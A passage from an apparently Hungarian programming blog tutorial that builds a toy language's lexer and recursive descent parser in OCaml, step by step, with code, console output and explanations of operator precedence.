    <img src="https://deadlime.hu/uploads/2026/parser.png" width="223" height="394" alt="" title="" loading="lazy" />
</p>

<p>Ahhoz, hogy nekiláthassunk, szükségünk lesz egy programozási nyelvre, mivel a sajátunk még messze nincs olyan állapotban, hogy saját magában meg lehessen írni. Én az OCaml-t választottam, mert szeretem olyan dolgokkal kínozni magam, amihez vajmi keveset értek. És ezt tényleg úgy kell érteni, hogy a projekt kezdetekor zéró OCaml tudással rendelkeztem és a funkcionális nyelvekről is nagyjából annyit tudtam, amennyi átszivárgott belőlük más nyelvekbe.</p>
<p>Első mérföldkőnek a boolean típus értékeinek tokenné alakítását választottam, mivel csak a <code>true</code> és a <code>false</code> értékekből áll. Rögtön válaszút elé érkeztünk. Legyenek ezek az értékek külön tokenek (<code>TTrue</code> és <code>TFalse</code>) vagy legyen egy <code>TBool</code> token, ami felvehet <code>true</code> vagy <code>false</code> értéket? Nem tűnik úgy, mintha nagy jelentősége lenne, én az utóbbival mentem:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  | <span class="hljs-type">TBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">TEOF</span>

<span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TBool(%B)"</span> b
  | <span class="hljs-type">TEOF</span>    -&gt; <span class="hljs-string">"TEOF"</span>
</code></pre>
<p>Az OCaml szintaxisa talán egy kicsit idegen lehet, a <code>type</code>-ot én egy felokosított <code>enum</code>-nak képzeltem el, a <code>match</code> pedig egy felokosított <code>switch</code>.</p>
<p>A <code>token</code> típus fogja tartalmazni az összes tokenünket, a <code>show_token</code> pedig csak egy segéd függvény, amit a fejlesztés során használunk majd, hogy ki tudjunk dolgokat íratni a képernyőre, amíg a saját nyelvünknek nincs ilyen funkciója. Felvettünk még egy end-of-file tokent, ami a program végét hivatott jelezni.</p>
<p><a name="1"></a></p>
<h3>A lexikális elemző</h3>
<p>Avagy más néven a lexer. A komoly név egyszerű belsőt takar. A kapott nyers szöveget karakterenként beolvassa és tokeneket épít belőle. Ehhez nem árt tudni, hogy hol tartunk éppen, így definiálunk neki egy <code>struct</code>-szerű képződményt (azt hiszem az OCaml neve <code>record</code>), amiben a számunkra fontos adatokat tárolhatjuk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">LexError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> lexer_state = {
  src : <span class="hljs-built_in">string</span>;
  len : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> pos : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> line : <span class="hljs-built_in">int</span>;
  <span class="hljs-keyword">mutable</span> col : <span class="hljs-built_in">int</span>;
}
</code></pre>
<p>Az elemzés tekintetében a <code>pos</code> lesz nekünk fontos, a <code>line</code> és a <code>col</code> csak azért van, hogy barátságosabb hibaüzeneteket tudjunk generálni a felhasználóknak.</p>
<p>Definiálunk még néhány segéd függvényt, hogy egyszerűbb legyen az életünk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> make_lexer src = {
  src;
  len = <span class="hljs-type">String</span>.length src;
  pos = <span class="hljs-number">0</span>;
  line = <span class="hljs-number">1</span>;
  col = <span class="hljs-number">1</span>;
}

<span class="hljs-keyword">let</span> step ls =
  ls.pos &lt;- ls.pos + <span class="hljs-number">1</span>;
  ls.col &lt;- ls.col + <span class="hljs-number">1</span>

<span class="hljs-keyword">let</span> step_line ls =
  ls.pos &lt;- ls.pos + <span class="hljs-number">1</span>;
  ls.line &lt;- ls.line + <span class="hljs-number">1</span>;
  ls.col &lt;- <span class="hljs-number">1</span>

<span class="hljs-keyword">let</span> current_char ls = ls.src.[ls.pos]
</code></pre>
<p>A <code>make_lexer</code> egy kezdő állapotot állít elő számunkra. A <code>step</code> egy egyszerű, soron belüli léptetés, a <code>step_line</code> párja pedig az új sorba lépés. A <code>current_char</code> visszaadja azt a karaktert, amin éppen állunk.</p>
<p>A nyelv adottságai miatt a problémák nagy részét mintaillesztéssel és rekurzióval fogjuk megoldani.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize src = 
  <span class="hljs-keyword">let</span> ls = make_lexer src <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop tokens =
    <span class="hljs-keyword">if</span> ls.pos &lt; ls.len <span class="hljs-keyword">then</span>
      <span class="hljs-keyword">match</span> current_char ls <span class="hljs-keyword">with</span>
      | <span class="hljs-string">'\n'</span> -&gt;
        step_line ls;
        loop tokens
      | <span class="hljs-string">' '</span> | <span class="hljs-string">'\t'</span> | <span class="hljs-string">'\r'</span> -&gt;
        step ls;
        loop tokens
      | <span class="hljs-string">'a'</span>..<span class="hljs-string">'z'</span> -&gt;
        loop (tokenize_name ls :: tokens)
      | c -&gt;
        raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected character '%c' on line %d col %d"</span> c ls.line ls.col))
    <span class="hljs-keyword">else</span>
      <span class="hljs-type">TEOF</span> :: tokens
  <span class="hljs-keyword">in</span>

  <span class="hljs-type">List</span>.rev (loop <span class="hljs-literal">[]</span>)
</code></pre>
<p>Csinálunk egy példányt a struct-unkból (<code>ls</code>) és egy rekurzív függvényt (<code>loop</code>), amit aztán meg is hívunk egy üres listával. A rekurzió addig megy, amíg a forráskód végére nem érünk, ekkor hozzáad a token lista elejéhez egy <code>TEOF</code> tokent. Valamiért a lista elejére szeretnek ebben a nyelvben pakolni, ezért kell a függvény végén megfordítanunk a listát a <code>List.rev</code> hívással.</p>
<p>Ha még nem vagyunk a fájl végén, akkor megvizsgáljuk az aktuális karaktert. Szóköz-jellegű karakterek esetén csak léptetünk, de nem fűzünk hozzá semmit a listához, ha alfabetikus adatot kapunk, akkor egy másik függvénnyel értelmezzük és hozzáfűzzük a tokenekhez, egyébként pedig hibát dobunk ismeretlen karakterre (amihez használjuk a <code>line</code> és <code>col</code> értékeinket).</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> tokenize_name ls =
  <span class="hljs-keyword">let</span> is_name_char ch = ch &gt;= <span class="hljs-string">'a'</span> &amp;&amp; ch &lt;= <span class="hljs-string">'z'</span> <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">let</span> start_col = ls.col <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> start = ls.pos <span class="hljs-keyword">in</span>

  <span class="hljs-keyword">while</span> ls.pos &lt; ls.len &amp;&amp; is_name_char (current_char ls) <span class="hljs-keyword">do</span>
    step ls
  <span class="hljs-keyword">done</span>;

  <span class="hljs-keyword">let</span> name = <span class="hljs-type">String</span>.sub ls.src start (ls.pos - start) <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
  | <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
  | <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
  | _       -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected name '%s' on line %d col %d"</span> name ls.line start_col))
</code></pre>
<p>A névhez addig léptetünk, amíg megfelelő karaktereket látunk (amihez definiáljuk az <code>is_name_char</code> kis segéd függvényt). Ez után a kapott pozíciók alapján kinyerjük a nevet a forrásból és megpróbáljuk értelmezni. Szerény kis nyelvkezdeményünk egyelőre a <code>true</code> és a <code>false</code> kivételével nem ért meg semmit.</p>
<p>Nincs más hátra, mint egy &quot;main&quot; függvény, amivel kipróbálhatjuk a remek lexikális elemzőnket:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|<span class="hljs-literal">true</span> <span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">true</span> <span class="hljs-literal">false</span>

<span class="hljs-literal">false</span>|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens))
  <span class="hljs-keyword">with</span> <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
</code></pre>
<p>A forráskódot tokenizáljuk és a kapott tokeneket kiíratjuk a korábban definiált <code>show_token</code> függvény segítségével. Az eredmény pedig valami ilyesmi lesz:</p>
<pre class="console"><code>$ ocaml main.ml
TBool(true); TBool(false); TBool(true); TBool(true); TBool(false); TBool(false); TEOF
</code></pre>
<p>Persze előfordulhat, hogy elfelejtjük, hogy milyen tokeneket képes értelmezni a nyelvünk...</p>
<pre><code class="hljs javascript"><span class="hljs-literal">true</span> <span class="hljs-literal">false</span>
<span class="hljs-literal">false</span> <span class="hljs-literal">true</span> <span class="hljs-literal">true</span>
<span class="hljs-literal">true</span> oops <span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">false</span>
<span class="hljs-literal">true</span>
<span class="hljs-literal">false</span>
</code></pre>
<p>...és kapunk egy csúnya hibát:</p>
<pre class="console"><code>$ ocaml main.ml
Fatal error: Unexpected name 'oops' on line 3 col 6
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/blob/lexer/main.ml">teljes kódja megtekinthető itt</a>.</p>
<p>Bár vannak tokenjeink, az értékek megléte önmagában még nem elég összetett ahhoz, hogy legyen miből szintaxis fát növeszteni. Így szükségünk lesz még valamire, ami használja is ezeket az értékeket.</p>
<p><a name="2"></a></p>
<h3>Operátorok</h3>
<p>Kezdetnek mondjuk definiálhatnánk néhány operátort. Mehetünk a szokásos C-jellegű <code>!</code>, <code>&amp;&amp;</code>, <code>||</code> trióval, vagy mondjuk a kicsit Python-osabb <code>not</code>, <code>and</code>, <code>or</code> szavakkal. A végeredményen nem változtat, csak a lexikális elemző lesz tőle egy kicsit más. Én most az utóbbit választottam.</p>
<p>Először is szükségünk lesz új token típusokra:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  | <span class="hljs-type">TBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">TBoolAnd</span>
  | <span class="hljs-type">TBoolOr</span>
  | <span class="hljs-type">TBoolNot</span>
  | <span class="hljs-type">TEOF</span>
</code></pre>
<p>Amihez sajnos a <code>show_token</code> függvényünket is ki kell egészíteni új <code>match</code> ágakkal:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b  -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TBool(%B)"</span> b
  | <span class="hljs-type">TBoolAnd</span> -&gt; <span class="hljs-string">"TBoolAnd"</span>
  | <span class="hljs-type">TBoolOr</span>  -&gt; <span class="hljs-string">"TBoolOr"</span>
  | <span class="hljs-type">TBoolNot</span> -&gt; <span class="hljs-string">"TBoolNot"</span>
  | <span class="hljs-type">TEOF</span>     -&gt; <span class="hljs-string">"TEOF"</span>
</code></pre>
<p>Aztán a <code>tokenize_name</code> függvényben lekezeljük az új neveket:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">match</span> name <span class="hljs-keyword">with</span>
| <span class="hljs-string">"true"</span>  -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">true</span>
| <span class="hljs-string">"false"</span> -&gt; <span class="hljs-type">TBool</span> <span class="hljs-literal">false</span>
| <span class="hljs-string">"and"</span>   -&gt; <span class="hljs-type">TBoolAnd</span>
| <span class="hljs-string">"or"</span>    -&gt; <span class="hljs-type">TBoolOr</span>
| <span class="hljs-string">"not"</span>   -&gt; <span class="hljs-type">TBoolNot</span>
| _       -&gt; raise (<span class="hljs-type">LexError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected name '%s' on line %d col %d"</span> name ls.line start_col))
</code></pre>
<p>A <code>not true or false and true</code> forráskóddal megfuttatva a programunkat így már az alábbi kimenetet fogjuk kapni:</p>
<pre class="console"><code>$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/lexer..operators">módosításai megtekinthetőek itt</a>.</p>
<p>Vannak boolean értékeink és operátorok, amik kezdenek is valamit ezekkel az értékekkel, most már van miből felépíteni a fát.</p>
<p><a name="3"></a></p>
<h3>Műveleti sorrend</h3>
<p>Mielőtt belekezdenénk a konkrét feldolgozásba, érdemes egy pár szót ejteni a műveleti sorrendről, mivel a szintaktikai elemző működését és felépítését nagyban ez vezérli.</p>
<p>Általában az egy változós operátor előbb jut érvényre, mint a két változós operátor (a <code>not false and true</code> kifejezést úgy értelmezzük, hogy <code>(not false) and true</code>, bár még nincsenek zárójeleink).</p>
<p>Előfordulhat, hogy két operátor egy szinten van (például a <code>-</code> és a <code>+</code>), azok kiértékelése több módon is történhet:</p>
<ul>
<li>nem engedjük, hogy ilyen történjen (például nem akarunk olyat a nyelvünkben, hogy <code>1 &lt; 2 &lt; 3</code>, csak olyat, hogy <code>1 &lt; 2 and 2 &lt; 3</code>)</li>
<li>balról jobbra értékeljük ki (<code>1 + 2 - 3</code> az <code>(1 + 2) - 3</code>)</li>
<li>jobbról balra értékeljük ki (<code>1 + 2 - 3</code> az <code>1 + (2 - 3)</code>)</li>
</ul>
<p>Érdemes áttanulmányozni &quot;kész&quot; programozási nyelvek (<a href="https://en.cppreference.com/cpp/language/operator_precedence">például a C++</a>) műveleti sorrendre vonatkozó dokumentációját.</p>
<p><a name="4"></a></p>
<h3>A szintaktikai elemző</h3>
<p>A szintaktikai elemző (parser) fogja a tokenek listáját és megpróbálja a saját szabályai szerint értelmezni őket és építeni belőle egy szintaxis fát. Figyelembe véve a nyelv által jelenleg támogatott tokeneket, a fa elemei a következő típusokat vehetik fel:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> expr =
  | <span class="hljs-type">EBool</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">bool</span>
  | <span class="hljs-type">EBoolNot</span> <span class="hljs-keyword">of</span> expr
  | <span class="hljs-type">EBoolAnd</span> <span class="hljs-keyword">of</span> expr * expr
  | <span class="hljs-type">EBoolOr</span> <span class="hljs-keyword">of</span> expr * expr
</code></pre>
<p>Az <code>EBool</code> olyan, mint a <code>TBool</code>, a többinek viszont van egy olyan érdekessége, hogy paraméterként <code>expr</code> típusú dolgokat kaphatnak, így a típus is rekurzív.  Írhatunk például olyanokat, hogy <code>EBoolOr(EBoolNot(EBool(true)), EBool(false))</code>. A <code>*</code> itt nem a szorzást jelenti, csak a paraméterek elválasztó karaktere.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ast1.png" width="281" height="196" alt="" title="" loading="lazy" />
</p>
<p class="image-caption">A fenti kifejezés fa nézetben</p>

<p>Itt is lesz egy segéd függvényünk, hogy ki tudjuk íratni az elkészült kifejezést:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> show_expr e =
  <span class="hljs-keyword">match</span> e <span class="hljs-keyword">with</span>
  | <span class="hljs-type">EBool</span> b -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBool(%B)"</span> b
  | <span class="hljs-type">EBoolNot</span> e' -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolNot(%s)"</span> (show_expr e')
  | <span class="hljs-type">EBoolAnd</span> (l, r) -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolAnd(%s, %s)"</span> (show_expr l) (show_expr r)
  | <span class="hljs-type">EBoolOr</span> (l, r) -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"EBoolOr(%s, %s)"</span> (show_expr l) (show_expr r)
</code></pre>
<p>Mivel a típus rekurzív, így az <code>expr</code> típusú paraméterekre újra meg kell hívnunk a <code>show_expr</code>  függvényt. A szokásos mintaillesztés és rekurzió. Az <code>EBoolNot</code> sorában lévő <code>e'</code> nem valamilyen speciális nyelvi elem, az aposztróf is a változó nevének a része.</p>
<p>A lexikális elemzőhöz hasonlóan a szintaktikai elemzőnek is lesz egy belső állapota és néhány segéd függvénye.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">exception</span> <span class="hljs-type">ParseError</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>

<span class="hljs-keyword">type</span> parser_state = {
  <span class="hljs-keyword">mutable</span> tokens : token <span class="hljs-built_in">list</span>;
}

<span class="hljs-keyword">let</span> make_parser tokens = { tokens }

<span class="hljs-keyword">let</span> peek ps =
  <span class="hljs-keyword">match</span> ps.tokens <span class="hljs-keyword">with</span>
  | t :: _ -&gt; t
  | <span class="hljs-literal">[]</span> -&gt; <span class="hljs-type">TEOF</span>

<span class="hljs-keyword">let</span> consume ps =
  <span class="hljs-keyword">match</span> ps.tokens <span class="hljs-keyword">with</span>
  | t :: rest -&gt; ps.tokens &lt;- rest; t
  | <span class="hljs-literal">[]</span> -&gt; <span class="hljs-type">TEOF</span>
</code></pre>
<p>A <code>parser_state</code>-ben egyelőre csak a tokenjeink vannak, mire ide értünk elveszett az az információ, hogy melyik sorban és oszlopban járunk, úgyhogy egyelőre le kell mondanunk a felhasználóbarátabb hibaüzenetekről.</p>
<p>A <code>peek</code> visszaadja, hogy mi a következő token anélkül, hogy kivenné a listából. Itt megfigyelhető, hogy mennyire okos tud lenni a <code>match</code>, a <code>t :: _</code> szerkezet ismerős lehet a <code>tokenize</code>-ből, mint a lista elejére fűző operátor, de ebben a kontextusban a <code>t</code> változóba a lista első elemét fogja tenni a <code>match</code>, a lista többi részével pedig nem kívánunk foglalkozni (<code>_</code>).</p>
<p>A <code>consume</code> is visszaadja a következő tokent, de ki is szedi a listából (a lista maradéka lesz a <code>ps.tokens</code> új értéke).</p>
<p>Rá is térhetünk a konkrét értelmezésre. A műveleti sorrend, amit szeretnénk elérni:</p>
<ol>
<li>típusok értelmezése (<code>parse_primary</code>)</li>
<li>boolean <code>not</code> operátor (<code>parse_bool_unary</code>)</li>
<li>boolean <code>and</code> és <code>or</code> operátor (<code>parse_bool_expr</code>)</li>
</ol>
<p>Először a kifejezéseket fogjuk feldolgozni... mivel csak kifejezéseink vannak. És csak boolean típusunk, ezért végeredményben csak boolean kifejezéseket fogunk feldolgozni. A kódban a gyengébb operátoroktól haladunk lefelé az erősebb operátorokig.</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> parse_expr ps =
  parse_bool_expr ps

<span class="hljs-keyword">and</span> parse_bool_expr ps =
  <span class="hljs-keyword">let</span> <span class="hljs-keyword">rec</span> loop left =
    <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
    | <span class="hljs-type">TBoolAnd</span> -&gt;
      ignore (consume ps);
      <span class="hljs-keyword">let</span> right = parse_bool_unary ps <span class="hljs-keyword">in</span>
      loop (<span class="hljs-type">EBoolAnd</span> (left, right))
    | <span class="hljs-type">TBoolOr</span> -&gt;
      ignore (consume ps);
      <span class="hljs-keyword">let</span> right = parse_bool_unary ps <span class="hljs-keyword">in</span>
      loop (<span class="hljs-type">EBoolOr</span> (left, right))
    | _ -&gt; left
  <span class="hljs-keyword">in</span>
  loop (parse_bool_unary ps)
</code></pre>
<p>A <code>parse_expr</code>-nek nincs sok értelme, csak nem akartam, hogy egy olyan specifikus nevű függvénnyel induljon a kifejezések feldolgozása, mint a <code>parse_bool_expr</code>.</p>
<p>Az egymásra épülő rekurzív függvények az <code>and</code> segítségével vannak összefűzve. Itt a <code>tokenize</code>-ból már ismert rekurzív <code>loop</code> szerkezetet használjuk, ami megkapja a két változós operátor bal operandusát egy lentebbi szinttől. Ha talál hozzá <code>and</code> vagy <code>or</code> operátort, akkor épít egy megfelelő fa elemet és megpróbál rekurzívan további <code>and</code> vagy <code>or</code> operátorokat keresni. Ha nem sikerül, akkor visszaadja az eddig összegyűjtött dolgokat (vagy az eredeti bal operandust).</p>
<p>Érdemes itt még megjegyezni, hogy a boolean operátorok esetén tradicionálisan az <code>and</code> erősebb szokott lenni, mint az <code>or</code>. A jelenlegi implementációnk szerint viszont egy szinten vannak és balról jobbra kerülnek kiértékelésre.</p>
<p>Mivel mi vagyunk eme világ alkotói, tekinthetünk erre elvárt működésként vagy hibaként is. Utóbbi értelmezés esetén a javítás remek gyakorlási lehetőség az olvasó számára. Ehhez a <code>parse_bool_expr</code>-et kell szétszedni két szintre: a <code>parse_bool_or_expr</code> a <code>parse_bool_and_expr</code>-re hívna tovább, a <code>parse_bool_and_expr</code> pedig a <code>parse_bool_unary</code>-ra.</p>
<p>A következő szintünk az egy változós operátor (<code>not</code>):</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_bool_unary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBoolNot</span> -&gt;
    ignore (consume ps);
    <span class="hljs-type">EBoolNot</span> (parse_bool_unary ps)
  | _ -&gt; parse_primary ps
</code></pre>
<p>Ha találunk <code>not</code> tokent, akkor visszaadjuk a hozzá tartozó fa elemet (aminek az értéke szintén lehet egy <code>not</code> operátor vagy egy egyszerű érték), egyébként megpróbálunk egyszerű értékeket keresni.</p>
<p>Nem maradt más hátra, mint az egyszerű értékek feldolgozása:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">and</span> parse_primary ps =
  <span class="hljs-keyword">match</span> peek ps <span class="hljs-keyword">with</span>
  | <span class="hljs-type">TBool</span> b -&gt;
    ignore (consume ps);
    <span class="hljs-type">EBool</span> b
  | t -&gt; raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)))
</code></pre>
<p>Ha <code>true</code> vagy <code>false</code> következik, akkor tovább növesztjük a fát egy <code>EBool</code> elemmel, egyébként dobunk egy hibát, hogy ilyen tokenre nem számítottunk. Végül a függvény, ami ezt az egészet meghívja:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> parse_program tokens =
  <span class="hljs-keyword">let</span> ps = make_parser tokens <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> expr = parse_expr ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">let</span> t = peek ps <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">if</span> t &lt;&gt; <span class="hljs-type">TEOF</span> <span class="hljs-keyword">then</span>
    raise (<span class="hljs-type">ParseError</span> (<span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"Unexpected token '%s'"</span> (show_token t)));
  expr
</code></pre>
<p>Mivel jelenleg csak egy kifejezésből áll a nyelvünk, ha a kifejezés értelmezése után maradt még token, ami nem a <code>TEOF</code>, akkor baj van.</p>
<p>Az új &quot;main&quot; függvényünkben felépítjük a fát és ki is íratjuk:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> <span class="hljs-literal">()</span> =
  <span class="hljs-keyword">let</span> src = {|not <span class="hljs-literal">true</span> <span class="hljs-keyword">or</span> <span class="hljs-literal">false</span> <span class="hljs-keyword">and</span> <span class="hljs-literal">true</span>|} <span class="hljs-keyword">in</span>
  <span class="hljs-keyword">try</span>
    <span class="hljs-keyword">let</span> tokens = tokenize src <span class="hljs-keyword">in</span>
    print_endline (<span class="hljs-type">String</span>.concat <span class="hljs-string">"; "</span> (<span class="hljs-type">List</span>.map show_token tokens));
    <span class="hljs-keyword">let</span> ast = parse_program tokens <span class="hljs-keyword">in</span>
    print_endline (show_expr ast)
  <span class="hljs-keyword">with</span>
  | <span class="hljs-type">LexError</span> e -&gt; print_endline (<span class="hljs-string">"Fatal error: "</span> ^ e)
  | <span class="hljs-type">ParseError</span> e -&gt; print_endline (<span class="hljs-string">"Parse error: "</span> ^ e)
</code></pre>
<p>A kimenet pedig valahogy így néz ki:</p>
<pre class="console"><code>$ ocaml main.ml
TBoolNot; TBool(true); TBoolOr; TBool(false); TBoolAnd; TBool(true); TEOF
EBoolAnd(EBoolOr(EBoolNot(EBool(true)), EBool(false)), EBool(true))
</code></pre>
<p>A sok rekurzió egy kicsit össze tudja zavarni az ember lelki világát, úgyhogy ezen a ponton érdemes átgondolni, hogy hogyan is épül fel a fa.</p>

<p class="image image-center">
    <img src="https://deadlime.hu/uploads/2026/ast2.png" width="337" height="263" alt="" title="" loading="lazy" />
</p>

<ol>
<li>a <code>parse_bool_expr</code> meghívja a <code>parse_bool_unary</code>-t, ami megtalálja a <code>TBoolNot</code> tokent, visszaad egy <code>EBoolNot</code> elemet, aminek az értékéhez újra meghívja saját magát</li>
<li>a következő <code>TBool</code> token nem illeszkedik a <code>parse_bool_unary</code> dolgaira, így tovább csorog a <code>parse_primary</code>-ba, ahol lesz belőle egy <code>EBool</code> elem és visszaugrunk a <code>parse_bool_expr</code>-be</li>
<li>a <code>parse_bool_expr</code>-ben belépünk a <code>loop</code>-ba, ami talál egy <code>TBoolOr</code> tokent, amiből lesz egy <code>EBoolOr</code> elem, aminek a bal oldali operandusa a korábban megkapott <code>EBoolNot(EBool(true))</code>, a jobb oldali operandus kiszámításához pedig meghívja a <code>parse_bool_unary</code>-t</li>
<li>a <code>parse_bool_unary</code> nem lát egy változós operátort, úgyhogy a <code>parse_primary</code> ad vissza egy <code>EBool</code>-t és visszaugrunk a <code>loop</code>-ba</li>
<li>kész az <code>EBoolOr</code> elemünk, amit bal oldali operandusként használva újra meghívjuk a <code>loop</code>-ot</li>
<li>a <code>loop</code> talál egy <code>TBoolAnd</code> tokent, amiből lesz egy <code>EBoolAnd</code> és keres hozzá egy jobb oldali operandust a <code>parse_bool_unary</code> segítségével</li>
<li>a <code>parse_bool_unary</code> nem lát egy változós operátort, úgyhogy a <code>parse_primary</code> ad vissza egy <code>EBool</code>-t és visszaugrunk a <code>loop</code>-ba</li>
<li>a <code>TEOF</code> token következik, ami nem illeszkedik semmire, úgyhogy kiszállunk a <code>loop</code>-ból és a <code>parse_bool_expr</code>-ből is</li>
<li>a <code>parse_program</code> látja a <code>TEOF</code>-ot és ez boldogsággal tölti el</li>
</ol>
<p>Persze előfordulhat olyan eset is, ahol a <code>parse_program</code> már nem ilyen boldog. Mondjuk próbáljuk ki azt, hogy <code>false not and true</code>:</p>
<pre class="console"><code>$ ocaml main.ml
TBool(false); TBoolNot; TBoolAnd; TBool(true); TEOF
Parse error: Unexpected token 'TBoolNot'
</code></pre>
<p>Ennek a lépésnek a <a href="https://github.com/deadlime/the-recursive-descent/compare/operators..parser">módosításai megtekinthetőek itt</a>.</p>
<p>A programunk jelenleg egy darab kifejezésből áll, amit ugyan ki lehetne értékelni, de senki nem kezd semmit ezzel az értékkel. Szükségünk lenne egy utasításra.</p>
<p><a name="5"></a></p>
<h3>Utasítások</h3>
<p>Az első felmerülő gondolatom az volt, hogy jó lenne, ha valami kimenetet is tudna generálni a programunk. Ennek tükrében a <code>print</code> egy remek választásnak tűnik, mint első utasítás.</p>
<p>Újra alkalmunk van meghozni egy rakás döntést a szintaktikával kapcsolatban. Én azzal mentem, hogy az utasításokat új sorok választják el egymástól, nincs erre külön karakter bevezetve (mint például a klasszikus <code>;</code>). Az utasítás pedig függvényhívásként fog kinézni: <code>print(kifejezés)</code>.</p>
<p>Először is szükségünk lesz néhány új tokenre:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">type</span> token =
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TLeftParen</span>
  | <span class="hljs-type">TRightParen</span>
  | <span class="hljs-type">TNewLine</span>
  | <span class="hljs-type">TIdentifier</span> <span class="hljs-keyword">of</span> <span class="hljs-built_in">string</span>
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Innentől az új sor is egy token lesz, mivel van nyelvi jelentősége. A <code>TIdentifier</code> egy általános azonosító lesz, amit a <code>print</code>-re is használni fogunk. A <code>(*</code> és <code>*)</code> pedig a kommenteket hivatott jelölni OCaml-ben, úgyhogy azok csak a meglévő részek helyett vannak, hogy ne kelljen mindent ismételni.</p>
<p>Természetesen a <code>show_token</code>-t is frissítenünk kell az új érkezőkkel:</p>
<pre><code class="hljs ocaml"><span class="hljs-keyword">let</span> show_token token =
  <span class="hljs-keyword">match</span> token <span class="hljs-keyword">with</span>
  <span class="hljs-comment">(* ... *)</span>
  | <span class="hljs-type">TLeftParen</span> -&gt; <span class="hljs-string">"TLeftParen"</span>
  | <span class="hljs-type">TRightParen</span> -&gt; <span class="hljs-string">"TRightParen"</span>
  | <span class="hljs-type">TNewLine</span> -&gt; <span class="hljs-string">"TNewLine"</span>
  | <span class="hljs-type">TIdentifier</span> s -&gt; <span class="hljs-type">Printf</span>.sprintf <span class="hljs-string">"TIdentifier(%s)"</span> s
  <span class="hljs-comment">(* ... *)</span>
</code></pre>
<p>Eddig talán semmi meglepő. A lexikális elemzőnk <code>tokenize_name</code> része egyszerűsödik egy kicsit, mivel innentől minden alfabetikus azonosítót elfogadunk a lexikális elemzés szintjén:</p>
